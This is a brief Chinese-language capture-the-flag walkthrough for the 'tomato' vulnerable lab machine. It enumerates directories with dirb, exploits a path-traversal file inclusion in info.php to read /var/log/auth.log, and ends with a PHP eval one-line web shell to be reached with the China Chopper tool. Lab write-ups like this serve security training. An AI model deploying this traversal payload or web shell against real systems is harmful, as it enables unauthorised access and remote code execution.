tomato靶机通关攻略

1，打开靶机和kali，然后在kali中探测靶机ip

2，得到靶机ip为192.168.50.135，用浏览器访问

3，再次使用kali扫描敏感目录

dirb http://192.168.50.135

4，访问http://192.168.50.135/antibot_image/

5，我们可以找到一个info.php文件，打开

6，查看页面源代码，发现可以传参

7，访问日志文件

http://192.168.50.135/antibot_image/antibots/info.php?image=../../../../../../var/log/auth.log

8，写入一句话木马然后使用菜刀进行连接，密码是abc

<?php @eval($_POST[abc]);?>